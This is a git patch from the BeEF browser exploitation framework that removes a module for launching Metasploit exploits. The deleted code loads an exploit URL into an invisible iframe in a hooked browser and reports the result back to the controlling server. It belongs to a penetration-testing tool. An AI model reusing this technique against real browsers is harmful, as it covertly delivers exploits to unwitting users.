From cf484752ce5f75fcb75a3933c7564c1a112c9c48 Mon Sep 17 00:00:00 2001 From: "wade@bindshell.net" Date: Mon, 29 Nov 2010 23:17:02 +0000 Subject: [PATCH] The partial MSF integration removed git-svn-id: https://beef.googlecode.com/svn/trunk@586 b87d56ec-f9c0-11de-8c8a-61c5e9addfc9 --- .../browser_exploit/browser_exploit.js | 14 ------- .../browser_exploit/browser_exploit.rb | 39 ------------------- 2 files changed, 53 deletions(-) delete mode 100644 modules/commands/metasploit/browser_exploit/browser_exploit.js delete mode 100644 modules/commands/metasploit/browser_exploit/browser_exploit.rb diff --git a/modules/commands/metasploit/browser_exploit/browser_exploit.js b/modules/commands/metasploit/browser_exploit/browser_exploit.js deleted file mode 100644 index dcb681724..000000000 --- a/modules/commands/metasploit/browser_exploit/browser_exploit.js +++ /dev/null @@ -1,14 +0,0 @@ -beef.execute(function() { - var result; - - try { - var sploit = beef.dom.createInvisibleIframe(); - sploit.src = "<%= @sploit_url %>"; - result = "Exploit Sent"; - } catch(e) { - for(var n in e) - result+= n + " " + e[n] + "\n"; - } - - beef.net.sendback('<%= @command_url %>', <%= @command_id %>, 'result='+escape(result)); -}); diff --git a/modules/commands/metasploit/browser_exploit/browser_exploit.rb b/modules/commands/metasploit/browser_exploit/browser_exploit.rb deleted file mode 100644 index 97ffbe749..000000000 --- a/modules/commands/metasploit/browser_exploit/browser_exploit.rb +++ /dev/null @@ -1,39 +0,0 @@ -module BeEF -module Modules -module Commands - - -class Browser_exploit < BeEF::Command - - - def initialize - super({ - 'Name' => 'Browser Exploit', - - 'Description' => %Q{ - This module will launch a Metasploit exploit against the host - }, - 'Category' => 'Metasploit', - 'Author' => ['sussurro'], - 'Data' => [['name' => 'sploit_url', 'ui_label' => 'Exploit URL', 'value' =>'http://www.google.com']], - - 'File' => __FILE__, - 'Target' => { - 'browser_name' => BeEF::Constants::Browsers::ALL - } - }) - - use 'beef.dom' - use_template! - end - - def callback - save({'result' => @datastore['result']}) - end - -end - - -end -end -end